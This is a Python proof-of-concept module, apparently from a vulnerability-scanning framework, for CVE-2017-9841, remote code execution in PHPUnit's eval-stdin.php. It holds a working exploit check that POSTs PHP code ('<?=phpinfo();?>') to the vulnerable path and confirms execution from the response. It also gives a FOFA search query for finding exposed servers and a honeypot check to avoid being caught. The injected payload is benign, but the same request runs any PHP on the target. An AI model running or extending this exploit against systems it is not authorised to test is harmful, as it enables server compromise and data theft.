74 lines
3.0 KiB
Python
74 lines
3.0 KiB
Python
# coding:utf-8
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import requests
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from lib.core.common import url_handle,get_random_ua
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from lib.core.poc import POCBase
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# ...
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import urllib3
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urllib3.disable_warnings()
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class POC(POCBase):
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_info = {
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"author" : "jijue", # POC作者
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"version" : "1", # POC版本，默认是1
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"CreateDate" : "2021-06-09", # POC创建时间
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"UpdateDate" : "2021-06-09", # POC创建时间
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"PocDesc" : """
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存在该漏洞的资产在全网中非常稀有，笔者测试时也仅扫到一台而已，
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因此出于保护珍奇资产的目的，下面的example不做记录
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""", # POC描述，写更新描述，没有就不写
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"name" : "PHPUnit eval-stdin.php 远程命令执行漏洞", # 漏洞名称
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"VulnID" : "CVE-2017-9841", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
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"AppName" : "PHPUnit", # 漏洞应用名称
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"AppVersion" : "PHPUnit < 5.6.3", # 漏洞应用版本
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"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
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"VulnDesc" : """
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PHPUnit5.6.3之前的版本，存在一处远程代码执行漏洞，利用漏洞可以获取服务器敏感信息及权限。
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""", # 漏洞简要描述
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"fofa-dork":"""
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"PHPUnit"
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""", # fofa搜索语句
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"example" : "", # 存在漏洞的演示url，写一个就可以了
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"exp_img" : "", # 先不管
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}
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def _verify(self):
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"""
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返回vuln
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存在漏洞：vuln = [True,html_source] # html_source就是页面源码
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不存在漏洞：vuln = [False,""]
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"""
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vuln = [False,""]
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url = self.target + "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" # url自己按需调整
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data = "<?=phpinfo();?>"
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headers = {"User-Agent":get_random_ua(),
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"Connection":"close",
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"Content-Type": "application/x-www-form-urlencoded(raw)",
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"Accept-Encoding":"gzip",
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}
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try:
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"""
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检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
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"""
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req = requests.post(url,data = data,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
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if "PHP Credits" in req.text and "PHP License" in req.text :#req.status_code == 200 and :
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vuln = [True,req.text]
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else:
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vuln = [False,req.text]
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except Exception as e:
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raise e
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# 以下逻辑酌情使用
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if self._honeypot_check(vuln[1]) == True:
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vuln[0] = False
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return vuln
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def _attack(self):
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return self._verify() |